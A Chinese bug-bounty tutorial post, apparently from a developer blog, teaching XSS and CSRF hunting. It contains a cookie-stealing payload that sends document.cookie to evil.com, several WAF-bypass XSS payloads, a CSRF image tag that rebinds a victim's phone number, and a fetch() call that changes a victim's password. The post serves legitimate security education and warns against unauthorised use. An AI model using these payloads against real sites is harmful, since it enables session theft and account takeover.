【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术

上期回顾 :我们扒光了目标的资产(情报收集)。本期开始,我们要对这些目标进行"物理超度"------哦不,是合法的安全测试 。今天的主角是 Web 漏洞界的"哼哈二将":XSS ​ 和 CSRF


一、为什么这俩货这么重要?

很多新手觉得 XSS 是"弹个框就没用了",那是你不会玩。

  • XSS(跨站脚本) :相当于你在别人家的墙上涂鸦(植入JS)

  • CSRF(跨站请求伪造) :相当于你伪造了别人的**签名(Cookie)**去银行取钱。

在SRC里,一个存储型XSS进后台,往往意味着服务器权限(Getshell)的大门已开。


二、XSS:从"弹窗"到"接管后台"

1. 三种形态,各有千秋

类型 别名 危害等级 特点
反射型 非持久化 低/中 需要诱导管理员点击链接(钓鱼)。
存储型 持久化 插进数据库。每次访问页面自动触发,专杀后台管理员。
DOM型 前端漏洞 不走服务器,前端JS处理不当导致。

2. 实战案例:后台管理员的"噩梦"

场景:某论坛发帖功能存在存储型XSS。

Payload(攻击载荷)

html 复制代码
<script>
  // 窃取管理员Cookie
  var img = new Image();
  img.src = "http://evil.com/log?" + document.cookie;
</script>

发生了什么?

  1. 你把这段代码发在帖子正文。

  2. 管理员在后台查看帖子列表。

  3. 管理员的 Cookie 瞬间发送到了你的服务器 evil.com

  4. 你拿着管理员的 Cookie,用浏览器插件(如 EditThisCookie)替换自己的 Cookie。

  5. 结果:你不用密码,直接以管理员身份登录后台。🎉

3. 绕过WAF的"猥琐流"技巧

现在的防火墙(WAF)都很聪明,直接插 <script>会被拦截。我们需要变形:

  • 大小写混淆<ScRiPt>alert(1)</ScRiPt>

  • 闭合标签"><svg onload=alert(1)>

  • 编码绕过\u003cscript\u003e(Unicode编码)

  • 利用HTML5特性<details open ontoggle=alert(1)>

SRC加分项 :如果你能绕过厂商的WAF(Web应用防火墙)实现XSS,厂商通常会给你更高的评分,因为这证明了他们的防御体系有缺陷。


三、CSRF:借刀杀人的艺术

1. 核心原理:浏览器的小秘密

浏览器会自动携带当前网站的 Cookie。

如果你的浏览器里保存了 bank.com的登录状态,你打开了一个恶意网站 evil.com,这个网站里有个表单是向 bank.com转账的,浏览器会傻乎乎地带着你的Cookie去执行转账

2. 实战案例:改绑手机号

场景:某SRC站点修改绑定手机的接口如下:

https://example.com/user/changePhone?phone=13800138000&userId=1001

漏洞点:该接口没有验证"原手机号验证码",也没有 Token 验证。

攻击步骤

  1. 你构造一个恶意页面 attack.html

    html 复制代码
    <body>
      <!-- 偷偷发起请求 -->
      <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001">
    </body>
  2. 诱骗受害者(或者自己切换账号测试)在登录状态下访问 attack.html

  3. 结果:受害者的账号手机号被悄悄改成了你的手机号。你可以通过"找回密码"直接接管他的账号。

3. 防御与绕过

  • 防御:Referer 校验、CSRF Token、验证码。

  • 绕过

    • Referer绕过 :如果后端只校验 contains("example.com"),你可以把文件名改成 example.com.html放在你的服务器上。

    • Token绕过:如果Token生成算法可预测,或者Token未绑定Session。


四、XSS + CSRF = 王炸

单独的XSS或CSRF可能已经修好了,但如果组合起来呢?

案例 :某站有反射型XSS ,但没有CSRF Token

你可以构造一个链接,用户一点击,不仅执行了XSS,还利用XSS发起了一个AJAX请求(CSRF),偷偷把用户的密码改了。

javascript 复制代码
// XSS Payload 中包含 CSRF 攻击
fetch('/user/changePassword', {
  method: 'POST',
  body: 'newPwd=Hacked123',
  credentials: 'include' // 携带Cookie
});

五、SRC报告撰写Tips

写报告时,别只说"这里有XSS"。

  • Bad<script>alert(1)</script>弹窗了。

  • Good"由于未过滤特殊字符,导致存储型XSS,攻击者可通过此漏洞窃取管理员Session,进而控制后台服务器,造成数据泄露。"


六、互动与思考

漏洞类型 核心利用点 防御手段
XSS 前端JS执行 转义输出 (HtmlSpecialChars)
CSRF 利用浏览器自动带Cookie CSRF Token, SameSite Cookie

💬 互动话题

大家在挖洞时,有没有遇到过那种"明明弹窗了,但是厂商说不收"的情况?或者遇到过哪些奇葩的WAF拦截规则?欢迎吐槽!


⚠️ 法律红线警示

  1. 严禁在未授权情况下,对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。

  2. 严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作(如改密码、转账)。

  3. 测试 XSS 时,建议使用 alert(document.domain)console.log作为证明,不要窃取他人的 Cookie 进行登录。

  4. 所有实验请在本地靶场(如 DVWA , XSS Challenges)中进行。

    技术无罪,人心有善恶。守住底线,做正义的白帽子。

下一期,我们将进入 SQL注入​ 的世界,揭秘如何"脱裤"(拖库)。准备好你的 SQLMap 了吗?😎

相关推荐
软件开发技术深度爱好者1 小时前
轻量、安全、易用的HTML测试运行预览工具
前端·html
测试修炼手册1 小时前
[测试工具] Playwright Skill 和 Codex Chrome 浏览器操控的异同
前端·chrome·测试工具
真的不想写实验1 小时前
uniapp上传文件的载荷是个空对象
前端·uni-app
yuhaiqiang1 小时前
当程序员被ai逼到了悬崖边,还有哪些选择?
前端·人工智能·后端
D_jing203 小时前
Vue 3 + Element Plus 重置el-drawer样式失效
前端·javascript·vue.js
__log3 小时前
Vue 3 与 React 18+ 核心技术深度对比:从源码到实战
前端·vue.js·react.js
很晚很晚了8 小时前
纯前端转全栈 Day 1:我从第一个 NestJS 接口开始
前端
Lee川9 小时前
从零解剖一个 AI Agent Tool是如何实现的
前端·人工智能·后端
wangruofeng10 小时前
Playwright 深度调研:为什么它成了浏览器自动化的新底座
前端·测试